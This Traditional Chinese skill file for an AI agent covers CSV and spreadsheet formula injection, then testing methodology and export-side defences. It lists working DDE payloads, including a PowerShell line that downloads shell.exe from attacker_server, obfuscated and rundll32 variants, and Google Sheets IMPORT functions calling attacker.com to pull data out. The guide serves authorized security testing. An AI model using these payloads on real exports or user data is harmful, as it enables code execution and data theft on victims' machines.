csv-formula-injection

csv-formula-injection

熱門

CSV / 試算表公式注入(DDE、Excel / LibreOffice、Google 試算表 IMPORT* 函數)。當系統的匯出、匯入或使用者欄位資料會提供給試算表或報表工具時使用。

1528星標
197分支
更新於 2026/6/16
SKILL.md
唯讀
名稱
csv-formula-injection
描述

CSV / 試算表公式注入(DDE、Excel / LibreOffice、Google 試算表 IMPORT* 函數)。當系統的匯出、匯入或使用者欄位資料會提供給試算表或報表工具時使用。

SKILL:CSV 公式注入

AI 載入指示:本 Skill 涵蓋 CSV 與試算表情境下的公式/DDE 注入、混淆技巧、雲端試算表原生原語(primitives)以及安全測試方法論。請僅在獲得明確授權的前提下使用;會呼叫本機指令或遠端抓取的 Payload 具有高影響力——建議優先使用實驗室目標並留存授權紀錄。若專案規則未明確允許用戶端執行測試,切勿針對一般端點使用者進行測試。

0. 快速入門

當儲存格在 Excel、LibreOffice Calc 或類似軟體中開啟時,可能觸發公式評估的字元如下(通常僅在該儲存格被解析為公式時生效):

=
+
-
@

測試用的儲存格範例如下:

name,value
test,=1+1
test,+1+1
test,-1+1
test,@SUM(1+1)

路由說明:在測試 CSV 匯出、後台報表或會在試算表中開啟的使用者資料時,請優先測試這些前綴字元。


1. DDE 注入(EXCEL / LIBREOFFICE)

動態資料交換(Dynamic Data Exchange, DDE)與外部呼叫模式在歷史上常被用於試算表攻擊。以下範例僅供在受控實驗室環境中進行重現:

DDE("cmd";"/C calc";"!A0")A0
@SUM(1+1)*cmd|' /C calc'!A0
=2+5+cmd|' /C calc'!A0
=cmd|' /C calc'!'A1'

PowerShell 串接樣式(僅限實驗室使用;請將主機與 Payload 替換為無害的等效內容):

=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0

2. 混淆技巧

防禦性解析器可能會過濾明顯的模式;測試人員可嘗試加入雜訊與空格(仍僅限於獲得授權的情境):

AAAA+BBBB-CCCC&"Hello"/12345&cmd|'/c calc.exe'!A

= 後加入額外空格:

=         cmd|'/c calc.exe'!A

分散字元 / 異常間距(概念性模式——請依解析器行為進行調整):

=    C    m D    |'/c calc.exe'!A

rundll32 樣式:

=rundll32|'URL.dll,OpenURL calc.exe'!A

3. GOOGLE 試算表

若匯出的資料後續在 Google 試算表(Google Sheets)中開啟,或試算表從不可信的 CSV 擷取資料,下列函數可能會導致外連請求跨文件資料擷取

資料外洩 / 探測(請將 URL 替換為您獲授權的 Callback 位址):

=IMPORTXML("http://attacker.com/", "//a/@href")

其他高風險的匯入函數:

=IMPORTRANGE("spreadsheet_url", "range")
=IMPORTHTML("http://attacker.com/table", "table", 1)
=IMPORTFEED("http://attacker.com/feed.xml")
=IMPORTDATA("http://attacker.com/data.csv")

請記錄觸發執行的函數以及產生的網路副作用。


4. 測試方法論

  1. 梳理接收點(Sinks)——任何會輸出 CSV、XLSX 或 Tab 分隔值 的功能:管理員匯出、稽核紀錄、使用者名冊、帳款報表、搜尋結果等。
  2. 追蹤使用者可控欄位——個人資料欄位、工單標題、交易備註、標籤、ZIP 匯出檔中的檔名——任何會回顯儲存型輸入的欄位。
  3. 注入公式前綴——先從無害的算術運算(=1+1+1+1)開始以偵測是否會執行評估;僅在符合專案規則時才升級攻擊測試。
  4. 在目標軟體中開啟——比對受害者工作流程:Excel 桌面版、LibreOffice、Google 試算表匯入,以及特定語系的小數點分隔符設定。
  5. 留存證據——截圖或擷取儲存格是否顯示計算結果、安全警告或 DDE 提示畫面;並註記產品版本。

注意:重點放在 使用者輸入 -> 匯出資料 -> 在試算表軟體中開啟 這條鏈結上。


5. 防禦措施

應用程式層與匯出層的緩解措施:

  • 加上單引號前綴——在許多試算表應用程式中,開頭的 ' 會強制解析為純文字'=cmd|... 會以字面文字顯示。
  • 加上 Tab 前綴——某些處理管道在正確讀入資料時,會將以 Tab 開頭的欄位視為非公式的純文字。
  • 過濾或中和開頭的觸發字元——在匯出時移除或轉義開頭的 =, +, -, @(以及外觀相似的 Unicode 字元)。
  • CSV 編碼與格式化——使用一致的引號包覆;驗證欄位型別;避免在未經淨化的情況下將原始公式字串傳入財務或報表範本中。
  • 使用者安全意識培訓——在缺乏安全策略的情況下,切勿隨意啟用外部資料擷取或 DDE。

安全匯出轉換範例(概念性):

Input:  =1+1
Output: '=1+1   OR   \t=1+1   OR   (empty prefix) with escaped quotes per RFC 4180

注意:在關聯業務匯出、報表與 API 匯出參數時,請結合注入(injection)、業務邏輯(business-logic)及 API 安全(API-security)相關 Skill 進行綜合評估。